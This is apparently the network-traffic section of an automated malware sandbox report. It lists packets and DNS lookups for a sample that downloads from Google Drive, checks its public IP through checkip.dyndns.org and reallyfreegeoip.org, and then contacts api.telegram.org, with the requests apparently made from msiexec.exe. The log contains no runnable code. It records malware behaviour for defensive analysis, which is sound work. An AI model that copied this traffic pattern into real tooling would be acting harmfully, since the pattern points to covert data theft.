Dec 16, 2024 18:28:50.185612917 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.185674906 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.189692974 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.189788103 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.189800024 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.189862013 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.190324068 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.190388918 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.191545963 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.191723108 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.192075014 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.192141056 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.195195913 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.195261955 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.195609093 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.195674896 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.197700977 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.197760105 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.198141098 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.198200941 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.202861071 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.202927113 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.203190088 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.203248024 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.207868099 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.207932949 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.208374977 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.208437920 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.208451986 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.208517075 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.209553003 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.209614992 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.219345093 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.219407082 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.219419003 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.219480991 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.219546080 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.219604015 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.219665051 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.219670057 CET	443	49737	142.250.181.1	192.168.2.4
Dec 16, 2024 18:28:50.219743013 CET	49737	443	192.168.2.4	142.250.181.1
Dec 16, 2024 18:28:50.599853992 CET	49738	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:50.720109940 CET	80	49738	158.101.44.242	192.168.2.4
Dec 16, 2024 18:28:50.720330954 CET	49738	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:50.720628977 CET	49738	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:50.840420008 CET	80	49738	158.101.44.242	192.168.2.4
Dec 16, 2024 18:28:51.925323009 CET	80	49738	158.101.44.242	192.168.2.4
Dec 16, 2024 18:28:51.928620100 CET	49738	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:52.048567057 CET	80	49738	158.101.44.242	192.168.2.4
Dec 16, 2024 18:28:52.303622007 CET	80	49738	158.101.44.242	192.168.2.4
Dec 16, 2024 18:28:52.347534895 CET	49738	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:53.165775061 CET	49739	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:53.165838957 CET	443	49739	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:53.165929079 CET	49739	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:53.168272018 CET	49739	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:53.168298006 CET	443	49739	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:54.402704000 CET	443	49739	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:54.403069019 CET	49739	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:54.407959938 CET	49739	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:54.407979965 CET	443	49739	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:54.408447981 CET	443	49739	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:54.413764954 CET	49739	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:54.459342957 CET	443	49739	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:54.849054098 CET	443	49739	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:54.849205017 CET	443	49739	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:54.849272966 CET	49739	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:54.855114937 CET	49739	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:54.864197969 CET	49738	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:54.984307051 CET	80	49738	158.101.44.242	192.168.2.4
Dec 16, 2024 18:28:55.238343954 CET	80	49738	158.101.44.242	192.168.2.4
Dec 16, 2024 18:28:55.241776943 CET	49740	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:55.241872072 CET	443	49740	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:55.241969109 CET	49740	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:55.242360115 CET	49740	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:55.242403030 CET	443	49740	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:55.285176039 CET	49738	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:56.469893932 CET	443	49740	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:56.471791983 CET	49740	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:56.471865892 CET	443	49740	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:56.968864918 CET	443	49740	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:56.969032049 CET	443	49740	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:56.969125032 CET	49740	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:56.969435930 CET	49740	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:56.972270966 CET	49738	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:56.973438025 CET	49742	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:57.092730045 CET	80	49738	158.101.44.242	192.168.2.4
Dec 16, 2024 18:28:57.093020916 CET	49738	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:57.093424082 CET	80	49742	158.101.44.242	192.168.2.4
Dec 16, 2024 18:28:57.093600035 CET	49742	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:57.093662024 CET	49742	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:57.213758945 CET	80	49742	158.101.44.242	192.168.2.4
Dec 16, 2024 18:28:58.322419882 CET	80	49742	158.101.44.242	192.168.2.4
Dec 16, 2024 18:28:58.324235916 CET	49744	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:58.324338913 CET	443	49744	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:58.324477911 CET	49744	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:58.324902058 CET	49744	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:58.324933052 CET	443	49744	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:58.363209963 CET	49742	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:28:59.596664906 CET	443	49744	104.21.67.152	192.168.2.4
Dec 16, 2024 18:28:59.598958969 CET	49744	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:28:59.599042892 CET	443	49744	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:00.049329996 CET	443	49744	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:00.049408913 CET	443	49744	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:00.049604893 CET	49744	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:00.050142050 CET	49744	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:00.056137085 CET	49750	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:00.176249981 CET	80	49750	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:00.176476002 CET	49750	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:00.176654100 CET	49750	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:00.296853065 CET	80	49750	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:02.105992079 CET	80	49750	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:02.107377052 CET	49756	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:02.107419014 CET	443	49756	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:02.107511997 CET	49756	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:02.107760906 CET	49756	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:02.107774019 CET	443	49756	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:02.160053968 CET	49750	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:03.335783958 CET	443	49756	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:03.338340998 CET	49756	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:03.338428974 CET	443	49756	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:03.812136889 CET	443	49756	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:03.812220097 CET	443	49756	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:03.812339067 CET	49756	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:03.812762976 CET	49756	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:03.815728903 CET	49750	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:03.816705942 CET	49761	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:03.936707020 CET	80	49750	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:03.936798096 CET	80	49761	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:03.937122107 CET	49750	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:03.937235117 CET	49761	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:03.937235117 CET	49761	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:04.057531118 CET	80	49761	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:05.424324989 CET	80	49761	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:05.425813913 CET	49765	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:05.425868988 CET	443	49765	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:05.425985098 CET	49765	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:05.426209927 CET	49765	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:05.426230907 CET	443	49765	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:05.472553968 CET	49761	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:06.640319109 CET	443	49765	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:06.642132044 CET	49765	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:06.642229080 CET	443	49765	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:07.096913099 CET	443	49765	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:07.096990108 CET	443	49765	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:07.097084045 CET	49765	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:07.097724915 CET	49765	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:07.106282949 CET	49761	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:07.107414961 CET	49768	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:07.227170944 CET	80	49761	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:07.227386951 CET	49761	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:07.227777004 CET	80	49768	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:07.227885962 CET	49768	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:07.228050947 CET	49768	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:07.347791910 CET	80	49768	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:08.436230898 CET	80	49768	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:08.437510967 CET	49774	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:08.437597990 CET	443	49774	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:08.437845945 CET	49774	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:08.437956095 CET	49774	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:08.437990904 CET	443	49774	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:08.488262892 CET	49768	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:09.685869932 CET	443	49774	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:09.687465906 CET	49774	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:09.687501907 CET	443	49774	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:10.139029980 CET	443	49774	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:10.139122963 CET	443	49774	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:10.139424086 CET	49774	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:10.140122890 CET	49774	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:10.146505117 CET	49768	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:10.147077084 CET	49779	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:10.266858101 CET	80	49768	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:10.266881943 CET	80	49779	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:10.267049074 CET	49768	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:10.267090082 CET	49779	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:10.267282963 CET	49779	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:10.389045954 CET	80	49779	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:11.475013018 CET	80	49779	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:11.476430893 CET	49781	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:11.476522923 CET	443	49781	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:11.476660013 CET	49781	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:11.476874113 CET	49781	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:11.476908922 CET	443	49781	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:11.519557953 CET	49779	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:12.708429098 CET	443	49781	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:12.710028887 CET	49781	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:12.710076094 CET	443	49781	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:13.174031019 CET	443	49781	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:13.174108028 CET	443	49781	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:13.174432993 CET	49781	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:13.174627066 CET	49781	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:13.177759886 CET	49779	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:13.178721905 CET	49787	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:13.297971964 CET	80	49779	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:13.298096895 CET	49779	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:13.298592091 CET	80	49787	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:13.298687935 CET	49787	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:13.298779011 CET	49787	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:13.419991016 CET	80	49787	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:14.506438017 CET	80	49787	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:14.508114100 CET	49792	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:14.508169889 CET	443	49792	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:14.508605957 CET	49792	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:14.508754015 CET	49792	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:14.508781910 CET	443	49792	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:14.550704956 CET	49787	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:15.733314991 CET	443	49792	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:15.735764980 CET	49792	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:15.735786915 CET	443	49792	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:16.426434994 CET	443	49792	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:16.426491976 CET	443	49792	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:16.426594019 CET	49792	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:16.426959038 CET	49792	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:16.430339098 CET	49787	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:16.431543112 CET	49797	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:16.551002026 CET	80	49787	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:16.551101923 CET	49787	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:16.551302910 CET	80	49797	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:16.551404953 CET	49797	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:16.551518917 CET	49797	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:16.671205044 CET	80	49797	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:17.767580986 CET	80	49797	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:17.769241095 CET	49800	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:17.769296885 CET	443	49800	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:17.769428968 CET	49800	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:17.769731998 CET	49800	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:17.769752026 CET	443	49800	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:17.816356897 CET	49797	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:18.986018896 CET	443	49800	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:18.988019943 CET	49800	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:18.988111973 CET	443	49800	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:19.459614038 CET	443	49800	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:19.459707022 CET	443	49800	104.21.67.152	192.168.2.4
Dec 16, 2024 18:29:19.459943056 CET	49800	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:19.460345030 CET	49800	443	192.168.2.4	104.21.67.152
Dec 16, 2024 18:29:19.488951921 CET	49797	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:19.609277010 CET	80	49797	158.101.44.242	192.168.2.4
Dec 16, 2024 18:29:19.609510899 CET	49797	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:19.629319906 CET	49806	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:19.629420042 CET	443	49806	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:19.629617929 CET	49806	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:19.629955053 CET	49806	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:19.629975080 CET	443	49806	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:21.010432005 CET	443	49806	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:21.010642052 CET	49806	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:21.012823105 CET	49806	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:21.012852907 CET	443	49806	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:21.013076067 CET	443	49806	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:21.014354944 CET	49806	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:21.059334993 CET	443	49806	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:21.514730930 CET	443	49806	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:21.514905930 CET	443	49806	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:21.514977932 CET	49806	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:21.518995047 CET	49806	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:27.617630005 CET	49742	80	192.168.2.4	158.101.44.242
Dec 16, 2024 18:29:27.864825010 CET	49825	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:27.864883900 CET	443	49825	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:27.865098953 CET	49825	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:27.865300894 CET	49825	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:27.865314960 CET	443	49825	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:29.230302095 CET	443	49825	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:29.232424974 CET	49825	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:29.232542038 CET	443	49825	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:29.232673883 CET	49825	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:29.232686043 CET	443	49825	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:29.989142895 CET	443	49825	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:29.989244938 CET	443	49825	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:29.989326000 CET	49825	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:29.989803076 CET	49825	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:31.519962072 CET	49833	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:31.520006895 CET	443	49833	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:31.520112991 CET	49833	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:31.520977020 CET	49833	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:31.520992994 CET	443	49833	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:32.883877993 CET	443	49833	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:32.885648012 CET	49833	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:32.885694981 CET	443	49833	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:32.885715961 CET	49833	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:32.885730982 CET	443	49833	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:33.543570042 CET	443	49833	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:33.543788910 CET	443	49833	149.154.167.220	192.168.2.4
Dec 16, 2024 18:29:33.543864012 CET	49833	443	192.168.2.4	149.154.167.220
Dec 16, 2024 18:29:33.544275999 CET	49833	443	192.168.2.4	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 18:28:41.953442097 CET	57921	53	192.168.2.4	1.1.1.1
Dec 16, 2024 18:28:42.092575073 CET	53	57921	1.1.1.1	192.168.2.4
Dec 16, 2024 18:28:44.740622044 CET	55485	53	192.168.2.4	1.1.1.1
Dec 16, 2024 18:28:44.878988028 CET	53	55485	1.1.1.1	192.168.2.4
Dec 16, 2024 18:28:50.456899881 CET	61127	53	192.168.2.4	1.1.1.1
Dec 16, 2024 18:28:50.595096111 CET	53	61127	1.1.1.1	192.168.2.4
Dec 16, 2024 18:28:52.709714890 CET	63341	53	192.168.2.4	1.1.1.1
Dec 16, 2024 18:28:53.164560080 CET	53	63341	1.1.1.1	192.168.2.4
Dec 16, 2024 18:29:19.489572048 CET	60090	53	192.168.2.4	1.1.1.1
Dec 16, 2024 18:29:19.628176928 CET	53	60090	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 18:28:41.953442097 CET	192.168.2.4	1.1.1.1	0xb53b	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:28:44.740622044 CET	192.168.2.4	1.1.1.1	0xc8c7	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:28:50.456899881 CET	192.168.2.4	1.1.1.1	0x2144	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:28:52.709714890 CET	192.168.2.4	1.1.1.1	0x1dfe	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:29:19.489572048 CET	192.168.2.4	1.1.1.1	0x8ede	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 18:28:42.092575073 CET	1.1.1.1	192.168.2.4	0xb53b	No error (0)	drive.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:28:44.878988028 CET	1.1.1.1	192.168.2.4	0xc8c7	No error (0)	drive.usercontent.google.com		142.250.181.1	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:28:50.595096111 CET	1.1.1.1	192.168.2.4	0x2144	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:28:50.595096111 CET	1.1.1.1	192.168.2.4	0x2144	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:28:50.595096111 CET	1.1.1.1	192.168.2.4	0x2144	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:28:50.595096111 CET	1.1.1.1	192.168.2.4	0x2144	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:28:50.595096111 CET	1.1.1.1	192.168.2.4	0x2144	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:28:50.595096111 CET	1.1.1.1	192.168.2.4	0x2144	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:28:53.164560080 CET	1.1.1.1	192.168.2.4	0x1dfe	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:28:53.164560080 CET	1.1.1.1	192.168.2.4	0x1dfe	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:29:19.628176928 CET	1.1.1.1	192.168.2.4	0x8ede	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	158.101.44.242	80	8012	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 18:28:50.720628977 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
